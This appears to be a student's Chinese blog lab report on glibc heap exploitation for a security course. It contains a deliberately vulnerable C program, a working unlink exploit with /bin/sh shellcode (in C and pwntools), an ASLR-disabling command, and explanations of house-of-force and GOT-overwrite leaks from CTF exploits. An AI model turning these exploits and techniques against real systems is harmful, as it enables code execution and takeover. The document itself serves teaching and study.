[网安实践III] 实验4.堆漏洞利用

本文详细介绍了如何利用堆溢出漏洞进行攻击,包括编译glibc、构造漏洞程序、关闭地址随机化、理解chunk结构及unlink宏等步骤。攻击者通过精心构造输入,覆盖chunk元数据,实现shellcode执行,获取shell。此外,还讨论了glibc源代码中unlink宏的保护措施及其去除后的安全隐患。
摘要由CSDN通过智能技术生成

[网安实践III] 实验4.堆漏洞利用

0 有关记录

编译glibc

  1. /home/vagrant 解压 glibc 的压缩包
$ tar -xzvf ./gilibc-2.20-lwm.tgz
  1. 建立一个目录/home/vagrant/glibc-build, 进入这个目录后编译 glibc
$ ../gilibc-2.20-lwm/configure --prefix=/home/vagrant/glibc-build/
$ make && make install

1631162923857)(_v_images/20210525195710201_31155.png =515x)]
3. 编译 vuln.c

$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/vagrant/glibc-build/lib -Wl,--dynamic-linker=/home/vagrant/glibc-build/lib/ld-linux.so.2

编译参数:

  • execstack: 栈和堆有代码可执行权限
  • norelro: GOT(Global Offset Table, 用于保存调用的外部函数)可写
    在这里插入图片描述
  1. 使用 ldd 命令, 可以看到 libc.so.6 链接到了刚才编译的 libc 库
$ ldd vuln

在这里插入图片描述
5. 用普通方式编译 attack.c, 并使用 ldd 命令查看链接情况

$ gcc -o attack attack.c
$ ldd attack

在这里插入图片描述
6. 关闭系统随机化

$ echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space

在这里插入图片描述
7. 执行 attack, 然后可以看到出现了一个 shell, 即利用 shellcode 得到了 shell
在这里插入图片描述

chunk 结构体

struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). 前一块的大小*/
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. 此块的大小,最低位表示前一块是否空闲*/
//用户得到内存从这里开始
/* double links -- used only if free. 两个链表指针, 仅堆free之后有效 */ 
struct malloc_chunk* fd;     // 指向下一个在双向链表binlist中的chunk
struct malloc_chunk* bk;    // 指向上一个在双向链表binlist中的chunk
/* Only used for large blocks: pointer to next larger size. */
/* double links -- used only if free. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};

unlink宏

/* Take a chunk off a bin list */    // 摘除双向链表binlist中的chunk元素
//AV为arena, P指向需要unlink(拆除)的chunk,BK和FD为临时变量
#define unlink(AV, P, BK, FD) { \ 
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}

漏洞文件和攻击文件

vuln.c

#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

attack.c

#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

#define FUNCTION_POINTER (0x08049778)    // free函数地址
#define CODE_ADDRESS (0x804a008 + 0x10)    //first地址+16B,指向shellcode

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced

char shellcode[] =
    "\xeb\x0assppppffff"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
        char *p;
        char argv1[680 + 1];
        char *argv[] = {VULNERABLE, argv1, NULL};
        FILE *f = NULL;

        p = argv1;
        *((void **)p) = (void *)(DUMMY);
        p += 4;
        *((void **)p) = (void *)(DUMMY);
        p += 4;
        *((void **)p) = (void *)(DUMMY);
        p += 4;
        *((void **)p) = (void *)(DUMMY);
        p += 4;
        /* Copy the shellcode */
        memcpy(p, shellcode, strlen(shellcode));    //填充shellcode
        p += strlen(shellcode);
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize of first chunk */
        // 填充字符'B', 长度为(680 - 4 * 4) - (4 * 4 + strlen(shellcode))
        memset(p, 'B', (680 - 4 * 4) - (4 * 4 + strlen(shellcode)));
        p += (680 - 4 * 4) - (4 * 4 + strlen(shellcode));
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *((size_t *)p) = (size_t)(0xffffffff);    //设置第二个标志位为chunk空闲
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *((size_t *)p) = (size_t)(-4);    //设置第二个chunk长度为-4(0xFFFFFFFC),trick malloc
        p += 4;

        *((void **)p) = (void *)(FUNCTION_POINTER - 12);    //修改fd
        p += 4;
        *((void **)p) = (void *)(CODE_ADDRESS);    //修改bk
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        f = fopen("input_str.txt", "w");
        fprintf(f, "%s", argv1);
        fclose(f);

        /* the execution of the vulnerable program */
        execve(argv[0], argv, NULL);
        return (-1);
}

1

attack.c中680这个数值怎么来的?在分配的内存中覆盖了哪些范围,请画图说明
  • 680 数值的原因:
    first=malloc(666) 时, 下一个 chunk 的 pre_size 字段可以被当前 chunk 使用, 因此当前 chunk 的数据部分只需要 666-4=662 字节的大小. 在 32 位操作系统中需要 8 字节对齐, 因此需要再填充 2 个字节进行对齐. 综上 first 的 chunk 的数据部分有 664 字节, 因此, 数值 680 中的前 664 字节是用来填充 first 的 chunk 的数据部分.
    剩余的 680-664=16 字节用于填充 second = malloc(12) 的 chunk 的 pre_size, size, fdbk4*4=16 字节.
  • 覆盖的范围:
    first 的 chunk 的数据部分以及 second 的 chunk 的 pre_size, size, fdbk 字段.
  • 画图:
    在这里插入图片描述

2

 attack.c中覆盖第二个chunk的元数据fd指针,为什么要FUNCTION_POINTER-12?

FUNCTION_POINTER-12 是为了能够实现将 shellcode 的地址写入 free 函数的起始地址.

具体来讲, 这与 unlink 宏核心的操作双向链表的语句有关, 如下:

/* Take a chunk off a bin list */    // 摘除双向链表的chunk元素
#define unlink(AV, P, BK, FD) { \    //AV为arena, P指向需要unlink(拆除)的chunk
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}

首先, FUNCTION_POINTER 的值为函数 free 的地址.
在 vuln.c 的 malloc 的分配情况下, 执行 FD = P->fd 时, Psecond 的 chunk 结构, 在 attack.c 中, 将 P->fdsecond 的 chunk 的 fd 设置为了 (free addr)-12, 也就是 unlink 宏中, FD 即为 (free addr)-12.
执行 BK = P->bk 时, 在 attack.c 中, P->bkBK 被设置为了 CODE_ADDRESS 即 shellcode 的地址.
执行 FD->bk = BK 时, 由于 FD(free addr)-12, 此处是将其作为一个 chunk, 所以 FD->bk=((free addr)-12)+12=free addr, 即 free 函数的地址. 然后被赋值为 BK, 即将 shellcode 的地址写入 free 函数的地址, 这样一旦调用 free 函数就会执行 shellcode.

3

shellcode开头是eb0a,表示跳过12个字节,为什么要跳过后面的"ssppppffff" ? 另外请反汇编shellcode解释shellcode的功能
  • 跳过后面的原因:
    跳过的原因同样与上述 unlink 宏有关. 接 #2 题继续分析, 最后执行 BK->fd = FD, 将 FD(free addr)-12 赋值给 BK->fd. 由于 BK 指向 shellcode 首地址, 而 BK->fd(shellcode addr)+8, 所以会跳过 shellcode 的前 8 个字节. 而又因为 BK->fd = FD 会将 BK 的 8~11 个字节设置为 FD的值, 同样不为真正执行的代码. 因此真正有效的可以执行的部分要跳过 shellcode 前面的 8+4=12 字节.
  • 反汇编 shellcode:
31C0          xor eax,eax
50            push eax 
68 2F2F7368   push 0x68732F2F    ;//sh
68 2F62696E   push 0x6E69622F    ;/bin
89E3          mov ebx,esp
50            push eax
89E2          mov edx,esp
53            push ebx
89E1          mov ecx,esp
B0 0B         mov al,0xB
CD 80         int 0x80
  • shellcode 功能:
    由此处使用 int 80 Linux系统调用, 对于的 eax 的值为 0xB 可得知使用的系统调用 sys_execve. 因此可以分析出, 此处调用了函数 execve(), 其参数为 /bin/sh. 则 shellcode 的功能即为使程序获得系统的 shell 控制权, 来执行 shell.
  • PS: 由 shellcode 反汇编的方法:
    1. 首先将 shellcode 进行复制(十六进制且不带 \x 转义字符以及空格).
    2. 使用 OllyDbg 打开任意的 exe 文件.
    3. 选中足够长的汇编指令代码, 右键->二进制->二进制粘贴. 即可将 shellcode 的 16 进制代码转为汇编指令代码覆盖到原选中的指令上. 如下图.

4

vuln.c中分配的666字节和12字节的chunk,实际分配大小是多大?属于第几个虚拟bin?如果是在64位平台呢?
  • 分配 666 字节 chunk:
    • 32 位: 实际分配时, 需要包括该 chunk 的 pre_sizesize 字段共 8 字节, 同时, 复用了下一个 chunk 的 pre_size 字段的 4 个字节, 因此数据部分只有 662 字节, 由于需要对齐还要填充 2 字节, 因此总共需要 672 字节. 不小于 512 个字节, 属于 Large bins.
    • 64 位: 需要包括该 chunk 的 pre_sizesize 字段共 16 字节, 复用了下一个 chunk 的 pre_size 字段的 8 字节, 数据共有 658 字节, 需要 16 字节对齐需要填充 14 字节, 因此总共需要 658+14+16=688 字节, 属于 Small bins.
  • 分配 12 字节 chunk:
    • 32 位: 分配原理同上, 一共需要 12+8-4=16 字节. 属于 Fast bins.
    • 64 位: 分配原理同上, 一共需要 12+16-8+12=32 字节. 属于 Fast bins.

5

课程提供的glibc源代码中unlink宏去掉了哪些保护措施导致unlink攻击可以成功?解释这些安全措施的含义

如下为 glibc-2.20 版本的 unlink 宏的定义, 定义在 glibc-2.20/malloc/malloc.c 文件中.

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
            assert (P->fd_nextsize->bk_nextsize == P);			      \
            assert (P->bk_nextsize->fd_nextsize == P);			      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

这是课程提供的 unlink 宏的定义:

/* Take a chunk off a bin list , liweiming removed double-link protection*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
            assert (P->fd_nextsize->bk_nextsize == P);			      \
            assert (P->bk_nextsize->fd_nextsize == P);			      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
}

可以看到, 课程提供的 unlink 宏与原 unlink 宏的区别在于去掉了如下的 if 判断:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P)

即去掉了检测当前双向链表是否损坏的操作.
该安全措施的含义是检测 P 及其前后的 chunk 是否构成双向链表. 通过之前的代码 FD = P->fd;BK = P->bk;, 使得 FDP 的下一个 chunk, BKP 的前一个 chunk. 正常情况下, FD 的上一个 chunk 是 P, BK 的下一个 chunk 是 PFD->bk==P && BK->fd==P. 而上述 if 语句就是检测是否这两个条件有一个条件不满足, 有则报错 “corrupted double-linked list”(损坏的双向链表).

6

vuln.c中第一次调用free的时候是什么情况下进行chunk的consolidation的?依据glibc源代码进行分析,给出分析过程

第一次调用 free 函数时, 首先判断 first 是否在 Fast bins 中, 判断为否(应该在 Large bins中); 然后判断其前一个 chunk 是否在使用, 因为其前面没有 chunk, 因此默认前一个是在使用的; 然后判断 first 的下一个 chunk 是否是 top chunk, 因为下一个 chunk 是已经分配过的 chunk, 因此不为 top chunk; 再继续判断 first 的下一个 chunk 是否在使用, 因为下一个 chunk 被恶意覆盖, 所以操作系统会误认为该 chunk 未被使用, 此时会进行 consolidation, 将当前 first 的 chunk 和下一个的 second 的 chunk 一起 unlink 后添加到 unsorted bins 中.
在这里插入图片描述

7

学习pwntools的使用方法,提交改写后的exploit的Python代码
from pwn import *   # import pwntools library

# set the target program architecture
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32

# function free() address
FUNCTION_POINTER = 0x08049778
# shellcode address
CODE_ADDRESS = 0x804a008 + 0x10
# shellcode content
shellcode = b"\xeb\x0assppppffff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"


def make_input():
    p = p32(0xdefaced) * 4
    p += shellcode
    p += ((680-4*4)-(4*4+len(shellcode)))*b'B'
    p += p32(0xffffffff)
    p += p32(0xfffffffc)
    p += p32(FUNCTION_POINTER - 12)
    p += p32(CODE_ADDRESS)
    return p


ipt = make_input()
with open('input_str_py', 'wb') as f:
    f.write(ipt)

# start the target process and set the argument ventor
sh = process(argv=['./vuln', ipt])
# get the shell and interact with it directly
sh.interactive()

8

请解释exploit脚本中第96行到第100行代码的含义,其中pos变量的值是怎么计算出来的,目的是什么?:
 96 heapBase = leakAddr - 8
 97 pos = 0x804b120 - (heapBase+0x48*3+0x48*4+16)
 98 payload1 = ''
 99 print '=== 5 new note, pos:', pos
100 new_note(str(pos), payload1)
  • 代码含义:
    leakAddr 是泄露出的数据部分的地址, 减去 8 之后得到的是分配的 chunk 的首地址. 通过调试 bcloud 程序可以知道 bss 段的起始地址为 0x0804b060为 note 指针区域. 通过计算 pos 值, 将 topchunk 的 size 为 0xffffffff, 从而可以覆盖所有内存空间进而可以在任意地址写内容.
  • pos 值的计算:
    因为下一个 chunk 的地址 nextChunkAddr=topChunkAddr+nb, 而要使得 nextChunkAddr=0x0804b120-0x8(减去 0x8 是因为 chunk 头部 8 字节的偏移), 因此 topChunkAddr=heapBase+0x48*3+0x48*4, 所以 nb=0x804b120-topChunkAddr-0x8. 又因为 chunk 需要对其, 因此 nb=(req+SIZE_SZ+MALLOC_ALIGN_MASK)&~MALLOC_ALIGN_MASK), 则需要 req=nb-8, 从而得到 pos=0x804b120-(heapBase+0x48*3+0x48*4+16).
  • 目的:
    目的是将 Top chunk 抬至 bss 段 note 指针处(0x0804b120), 以达到下次进行 malloc 时能通过修改 content 指针数组来达到在任意地址写入内容.

9

请解释为什么第118行到121行代码可以泄露出printf的地址?
118 #leak printf address
119 print "=== 9 del note"
120 leak_str= del_note('1', True)
121 printf_leak_addr = u32(leak_str[1:5])

在此之前, note 指针数组的前两个指针分别被覆盖为了 p32(got_free)p32(got_printf), 即当前 note 表里 id 为 0 的 note 的地址实际上为 free@got.plt 的地址. 接着又将其改为了 printf@plt 的地址. 这样在使用 del 中的调用函数 free 时实际上就是在调用 printf. 而参数是 id 为 1 的地址即 got_printf, 这样相当于是 printf(printf@plt), 即打印的就是 printf 的地址.

10

pwn500的exploit脚本第168行调用了show_all_receivers(),为什么能够泄露heapbase,即堆的起始地址?

通过覆盖第三个包的 size0x200, pre_size 为 0, 然后将第二个 receiver 中的链表指针 next 赋值为 addr_control-0x20. 这样在调用 show_all_receiver 函数时会将 control 保存的链表头部的第一个 receiver 的地址泄露出来. 在覆盖 addr_control-0x20 之后, 前 32 字节无用, 然后 0xee0390 处是 postcodes字段, 对应 control 保存的 recevier 地址. 然后使用 printf 打印出 sender_info 的地址, 指针指向分配内存的第一块,减去 0x10 便得到堆的起始地址 heapbase.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值